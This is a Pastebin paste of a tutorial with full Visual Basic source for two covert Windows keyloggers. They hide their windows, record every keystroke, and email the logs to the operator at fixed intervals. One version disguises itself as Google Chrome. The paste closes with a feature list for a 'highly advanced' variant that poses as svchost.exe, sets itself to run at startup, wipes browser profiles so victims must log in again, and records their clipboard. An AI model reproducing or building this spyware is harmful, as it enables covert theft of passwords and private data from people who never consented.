API tools faq
paste
Advertisement
Guest User

keylogger

a guest
Jun 29th, 2017
602
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.80 KB | None | 0 0
raw download clone embed print report
  1.  
  2. 1. So, first open up visual studio and create a visual basic project.
  3. 2. Add two timers on form1. Enable timer1 and set the interval to 60000 (60000 = 1 minute) or what ever you want. This will be the time it takes to send each log.
  4. 3. Enable timer2 and set interval to 5.
  5. 4. Add a textbox and set it to multiline.
  6. 5. Set form1 'formborderstyle' to 'none'.
  7. 6. Now double click anywhere on the form and paste in the code from below.
  8. 7. Adjust the code to your needs and debug it.
  9. 'This is just the barebones of a keylogger to start you off to make better ones.
  10. 'BUGS:
  11. 'Doesn't record all keys such as 'ctrl'
  12. 'Can't hide it once you make it visible by pressing ctrl + alt + H x2
  13. 'Probably more bugs
  14.  
  15. Option Strict On
  16. Imports System.Net.Mail
  17. Public Class Form1
  18. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
  19. Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
  20.  
  21. 'this timer basically sends the email with the logs...
  22. 'set this to true and interval to how many minutes u have to wait to get the emails sent to u
  23. 'e.g. 60000 for every 1 min the logs get sent to u, 600000 every 10 min the logs get sent to u
  24.  
  25. Try
  26. Dim smtpserver As New SmtpClient
  27. smtpserver.EnableSsl = True
  28. Dim mail As New MailMessage
  29. smtpserver.Credentials = New Net.NetworkCredential("email", "password")
  30. smtpserver.Port = 587
  31. smtpserver.Host = "smtp.live.com"
  32. mail = New MailMessage
  33. mail.From = New MailAddress("email")
  34. mail.To.Add("email")
  35. mail.Subject = ("New keylogger logs!")
  36. mail.Body = TextBox1.Text
  37. smtpserver.Send(mail)
  38. Catch ex As Exception
  39. Me.Close()
  40. End Try
  41. End Sub
  42.  
  43. Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer2.Tick
  44.  
  45. 'set this timer to enabled = true and interval 5
  46.  
  47. Dim result As Integer
  48. Dim key As String
  49. Dim i As Integer
  50.  
  51. For i = 2 To 90
  52. result = 0
  53. result = GetAsyncKeyState(i)
  54. If result = -32767 Then
  55. key = Chr(i)
  56. If i = 13 Then key = vbNewLine
  57. Exit For
  58. End If
  59. Next i
  60.  
  61. If key <> Nothing Then
  62. If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
  63. TextBox1.Text &= key
  64. Else
  65. TextBox1.Text &= key.ToLower
  66. End If
  67. End If
  68.  
  69. 'ctrl + alt + H x2 to make the keylogger visible.
  70.  
  71. If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "H" Then
  72. Me.Visible = True
  73. End If
  74. End Sub
  75.  
  76. Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As FormClosedEventArgs) Handles Me.FormClosed
  77.  
  78. 'basically just adds a new line and tells u when it was stopped at an shizz
  79.  
  80. TextBox1.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
  81.  
  82. End Sub
  83.  
  84. Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
  85.  
  86. 'disables all that good stuff so its basically hidden from the user...
  87.  
  88. Me.ShowInTaskbar = False
  89. Me.ShowIcon = False
  90. Me.Visible = False
  91. TextBox1.Text = "keylogger started at: " & Now & vbNewLine
  92.  
  93.  
  94. End Sub
  95. End Class
  96. Semi-Advanced Keylogger:
  97. Similar steps to the first keylogger^^
  98.  
  99. 1. So, first open up visual studio and create a visual basic project.
  100. 2. Add two timers on form1. Enable timer1 and set the interval to 60000 (60000 = 1 minute) or what ever you want. This will be the time it takes to send each log.
  101. 3. Enable timer2 and set interval to 5.
  102. 4. Rename 'timer1' to 'timeremail' and 'timer2' to 'timerkeys'.
  103. 5. Add a textbox and set it to multiline. Rename to 'tblog'.
  104. 6. Set form1 'formborderstyle' to 'none' and change opacity to 0%.
  105. 7. Rename 'form1.vb' to 'Google Chrome.vb'. You can also change the logo in 'My Project', and also the logo of the form.
  106. 7. Now double click anywhere on the form and paste in the code from below.
  107. 8. Adjust the code to your needs and debug it.
  108.  
  109. 'More advanced than the previous.
  110. 'Records all keys i think? Also logs in capitals + lowercase. Tells you if user backspaced.
  111. 'ERR can't make this keylogger visible by pressing key combos.
  112. 'Named Google Chrome With Logo to be inconspicuous.
  113. 'BUGS:
  114. 'Logs keys such as 'End' or 'Home' as 'Esc(some number)'
  115.  
  116. Option Strict On
  117. Imports System.Net.Mail
  118. Public Class Google_Chrome
  119. Dim result As Integer
  120. Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Short
  121. Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Int32) As Short
  122.  
  123. Public Function GetCapslock() As Boolean
  124. ' Return Or Set the Capslock toggle.
  125.  
  126. GetCapslock = CBool(GetKeyState(&H14) And 1)
  127.  
  128. End Function
  129.  
  130. Public Function GetShift() As Boolean
  131.  
  132. ' Return Or Set the Capslock toggle.
  133.  
  134. GetShift = CBool(GetAsyncKeyState(&H10))
  135.  
  136. End Function
  137.  
  138. Private Sub Timerkeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timerkeys.Tick
  139. 'Dim result As Integer
  140. 'Dim key As String
  141. 'Dim i As Integer
  142.  
  143. 'For i = 2 To 90
  144. ' result = 0
  145. ' result = GetAsyncKeyState(i)
  146. ' If result = -32767 Then
  147. ' key = Chr(i)
  148. ' If i = 13 Then key = vbNewLine
  149. ' Exit For
  150. ' End If
  151. 'Next i
  152.  
  153. 'If key <> Nothing Then
  154. ' If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
  155. ' tblog.Text &= key
  156. ' Else
  157. ' tblog.Text &= key.ToLower
  158. ' End If
  159. 'End If
  160.  
  161. For i As Integer = 1 To 225
  162. result = 0
  163. result = GetAsyncKeyState(i)
  164. If result = -32767 Then
  165. If GetCapslock() = True And GetShift() = True Then
  166. Select Case (i)
  167. Case 192
  168. tblog.Text = tblog.Text + "~"
  169. Case 1
  170. 'tblog.Text = tblog.Text + "[Left Mouse Click]"
  171. Case 64 To 90
  172. tblog.Text = tblog.Text + Chr(i).ToString.ToLower
  173. Case 97 To 122
  174. tblog.Text = tblog.Text + Chr(i).ToString.ToLower
  175. Case 32
  176. tblog.Text = tblog.Text + " "
  177. Case 48
  178. tblog.Text = tblog.Text + ")"
  179. Case 49
  180. tblog.Text = tblog.Text + "!"
  181. Case 50
  182. tblog.Text = tblog.Text + "@"
  183. Case 51
  184. tblog.Text = tblog.Text + "#"
  185. Case 52
  186. tblog.Text = tblog.Text + "$"
  187. Case 53
  188. tblog.Text = tblog.Text + "%"
  189. Case 54
  190. tblog.Text = tblog.Text + "^"
  191. Case 55
  192. tblog.Text = tblog.Text + "&"
  193. Case 56
  194. tblog.Text = tblog.Text + "*"
  195. Case 57
  196. tblog.Text = tblog.Text + "("
  197. Case 8
  198. tblog.Text = tblog.Text + "[BackSpace]"
  199. Case 46
  200. tblog.Text = tblog.Text + "[Del]"
  201. Case 190
  202. tblog.Text = tblog.Text + ">"
  203. Case 16
  204. Case 160 To 165
  205. Case 17
  206. tblog.Text = tblog.Text + "[Ctrl]"
  207. Case 18
  208. tblog.Text = tblog.Text + "[Alt]"
  209. Case 189
  210. tblog.Text = tblog.Text + "_"
  211. Case 187
  212. tblog.Text = tblog.Text + "+"
  213. Case 219
  214. tblog.Text = tblog.Text + "{"
  215. Case 221
  216. tblog.Text = tblog.Text + "}"
  217. Case 186
  218. tblog.Text = tblog.Text + ":"
  219. Case 222
  220. tblog.Text = tblog.Text + """"
  221. Case 188
  222. tblog.Text = tblog.Text + "<"
  223. Case 191
  224. tblog.Text = tblog.Text + "?"
  225. Case 220
  226. tblog.Text = tblog.Text + "|"
  227. Case 13
  228. tblog.Text = tblog.Text + " [Enter]" + vbNewLine
  229. Case 20
  230. Case 91 'windows key
  231. Case 9
  232. tblog.Text = tblog.Text + " [Tab]"
  233. Case 2
  234. tblog.Text = tblog.Text + " [RightMouseClick]"
  235. Case 37 To 40
  236. Case Else
  237. tblog.Text = tblog.Text + " Esc(" + i.ToString + ") "
  238. End Select
  239. End If
  240. If GetCapslock() = True And GetShift() = False Then
  241. Select Case (i)
  242. Case 91 'windows key
  243. Case 1
  244. 'tblog.Text = tblog.Text + "[Left Mouse Click]"
  245. Case 64 To 90
  246. tblog.Text = tblog.Text + Chr(i)
  247. Case 97 To 122
  248. tblog.Text = tblog.Text + Chr(i)
  249. Case 32
  250. tblog.Text = tblog.Text + " "
  251. Case 48 To 57
  252. tblog.Text = tblog.Text + Chr(i)
  253. Case 8
  254. tblog.Text = tblog.Text + "[BackSpace]"
  255. Case 46
  256. tblog.Text = tblog.Text + "[Del]"
  257. Case 190
  258. tblog.Text = tblog.Text + "."
  259. Case 16
  260. Case 160 To 165
  261. Case 20
  262. Case 192
  263. tblog.Text = tblog.Text + "`"
  264. Case 189
  265. tblog.Text = tblog.Text + "-"
  266. Case 187
  267. tblog.Text = tblog.Text + "="
  268.  
  269. Case 219
  270. tblog.Text = tblog.Text + "["
  271. Case 221
  272. tblog.Text = tblog.Text + "]"
  273. Case 186
  274. tblog.Text = tblog.Text + ";"
  275. Case 222
  276. tblog.Text = tblog.Text + "'"
  277. Case 188
  278. tblog.Text = tblog.Text + ","
  279. Case 191
  280. tblog.Text = tblog.Text + "/"
  281. Case 220
  282. tblog.Text = tblog.Text + "\"
  283. Case 17
  284. tblog.Text = tblog.Text + "[Ctrl]"
  285. Case 18
  286. tblog.Text = tblog.Text + "[Alt]"
  287. Case 13
  288. tblog.Text = tblog.Text + " [Enter]" + vbNewLine
  289. Case 9
  290. tblog.Text = tblog.Text + " [Tab]"
  291. Case 2
  292. tblog.Text = tblog.Text + " [RightMouseClick]"
  293. Case 37 To 40
  294. Case Else
  295. tblog.Text = tblog.Text + " Esc(" + i.ToString + ") "
  296. End Select
  297. End If
  298. If GetCapslock() = False And GetShift() = True Then
  299. Select Case (i)
  300. Case 91 'windows key
  301. Case 192
  302. tblog.Text = tblog.Text + "~"
  303. Case 1
  304. ' tblog.Text = tblog.Text + "[Left Mouse Click]"
  305. Case 64 To 90
  306. tblog.Text = tblog.Text + Chr(i)
  307. Case 97 To 122
  308. tblog.Text = tblog.Text + Chr(i)
  309. Case 32
  310. tblog.Text = tblog.Text + " "
  311. Case 48
  312. tblog.Text = tblog.Text + ")"
  313. Case 49
  314. tblog.Text = tblog.Text + "!"
  315. Case 50
  316. tblog.Text = tblog.Text + "@"
  317. Case 51
  318. tblog.Text = tblog.Text + "#"
  319. Case 52
  320. tblog.Text = tblog.Text + "$"
  321. Case 53
  322. tblog.Text = tblog.Text + "%"
  323. Case 54
  324. tblog.Text = tblog.Text + "^"
  325. Case 55
  326. tblog.Text = tblog.Text + "&"
  327. Case 56
  328. tblog.Text = tblog.Text + "*"
  329. Case 57
  330. tblog.Text = tblog.Text + "("
  331. Case 8
  332. tblog.Text = tblog.Text + "[BackSpace]"
  333. Case 46
  334. tblog.Text = tblog.Text + "[Del]"
  335. Case 190
  336. tblog.Text = tblog.Text + ">"
  337. Case 16
  338. Case 160 To 165
  339. Case 17
  340. tblog.Text = tblog.Text + "[Ctrl]"
  341. Case 18
  342. tblog.Text = tblog.Text + "[Alt]"
  343. Case 189
  344. tblog.Text = tblog.Text + "_"
  345. Case 187
  346. tblog.Text = tblog.Text + "+"
  347. Case 219
  348. tblog.Text = tblog.Text + "{"
  349. Case 221
  350. tblog.Text = tblog.Text + "}"
  351. Case 186
  352. tblog.Text = tblog.Text + ":"
  353. Case 222
  354. tblog.Text = tblog.Text + """"
  355. Case 188
  356. tblog.Text = tblog.Text + "<"
  357. Case 191
  358. tblog.Text = tblog.Text + "?"
  359. Case 220
  360. tblog.Text = tblog.Text + "|"
  361. Case 13
  362. tblog.Text = tblog.Text + " [Enter]" + vbNewLine
  363. Case 9
  364. tblog.Text = tblog.Text + " [Tab]"
  365. Case 20
  366. Case 2
  367. tblog.Text = tblog.Text + " [RightMouseClick]"
  368. Case 37 To 40
  369. Case Else
  370. tblog.Text = tblog.Text + " Esc(" + i.ToString + ") "
  371. End Select
  372. End If
  373. If GetCapslock() = False And GetShift() = False Then
  374. Select Case (i)
  375. Case 1
  376. ' tblog.Text = tblog.Text + "[Left Mouse Click]"
  377. Case 64 To 90
  378. tblog.Text = tblog.Text + Chr(i).ToString.ToLower
  379. Case 97 To 122
  380. tblog.Text = tblog.Text + Chr(i).ToString.ToLower
  381. Case 32
  382. tblog.Text = tblog.Text + " "
  383. Case 48 To 57
  384. tblog.Text = tblog.Text + Chr(i)
  385. Case 8
  386. tblog.Text = tblog.Text + "[BackSpace]"
  387. Case 46
  388. tblog.Text = tblog.Text + "[Del]"
  389. Case 190
  390. tblog.Text = tblog.Text + "."
  391. Case 16
  392. Case 160 To 165
  393. Case 20
  394. Case 192
  395. tblog.Text = tblog.Text + "`"
  396. Case 189
  397. tblog.Text = tblog.Text + "-"
  398. Case 187
  399. tblog.Text = tblog.Text + "="
  400. Case 91 'windows key
  401. Case 219
  402. tblog.Text = tblog.Text + "["
  403. Case 221
  404. tblog.Text = tblog.Text + "]"
  405. Case 186
  406. tblog.Text = tblog.Text + ";"
  407. Case 222
  408. tblog.Text = tblog.Text + "'"
  409. Case 188
  410. tblog.Text = tblog.Text + ","
  411. Case 191
  412. tblog.Text = tblog.Text + "/"
  413. Case 220
  414. tblog.Text = tblog.Text + "\"
  415. Case 17
  416. tblog.Text = tblog.Text + "[Ctrl]"
  417. Case 18
  418. tblog.Text = tblog.Text + "[Alt]"
  419. Case 13
  420. tblog.Text = tblog.Text + " [Enter]" + vbNewLine
  421. Case 9
  422. tblog.Text = tblog.Text + " [Tab]"
  423. Case 2
  424. tblog.Text = tblog.Text + " [RightMouseClick]"
  425. Case 37 To 40
  426.  
  427. Case Else
  428. tblog.Text = tblog.Text + " Esc(" + i.ToString + ") "
  429. End Select
  430. End If
  431.  
  432. End If
  433. Next i
  434.  
  435. End Sub
  436.  
  437. Private Sub Timeremail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timeremail.Tick
  438. Try
  439. Dim smtpserver As New SmtpClient
  440. smtpserver.EnableSsl = True
  441. Dim mail As New MailMessage
  442. smtpserver.Credentials = New Net.NetworkCredential("email(sending from)", "password")
  443. smtpserver.Port = 587
  444. smtpserver.Host = "smtp.gmail.com"
  445. mail = New MailMessage
  446. mail.From = New MailAddress("email(sending from)")
  447. mail.To.Add("email(sending to)")
  448. mail.Subject = ("New keylogger logs!")
  449. mail.Body = tblog.Text
  450. smtpserver.Send(mail)
  451. Catch ex As Exception
  452. End Try
  453. End Sub
  454. End Class
  455. Highly Advanced Keylogger:
  456. 'HIGHLY ADVANCED KEYLOGGER
  457. 'Deletes browser profiles, so user is forced to log back into accounts etc.
  458. 'Copies itself to startup
  459. 'Records all key presses including special characters.
  460. 'Records all system info from ipconfig and other info like RAM/OS/USER NAME etc.
  461. 'Records location of key presses e.g. facebook.com from chrome - [https://www.facebook.com - Google Chrome]
  462. 'Records time and date and installed languages.
  463. 'Gets active window title and also records clipboard items(only text) and puts between '--->e.g. copied clipboard text<---'
  464. 'Named svchost.exe to be inconspicuous.
  465. 'Sends logs every 1 min, can change this by changing interval of timer 2 e.g. 60000 = 1 min 600000 = 10 min.
  466. 'Sends logs before form closing.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!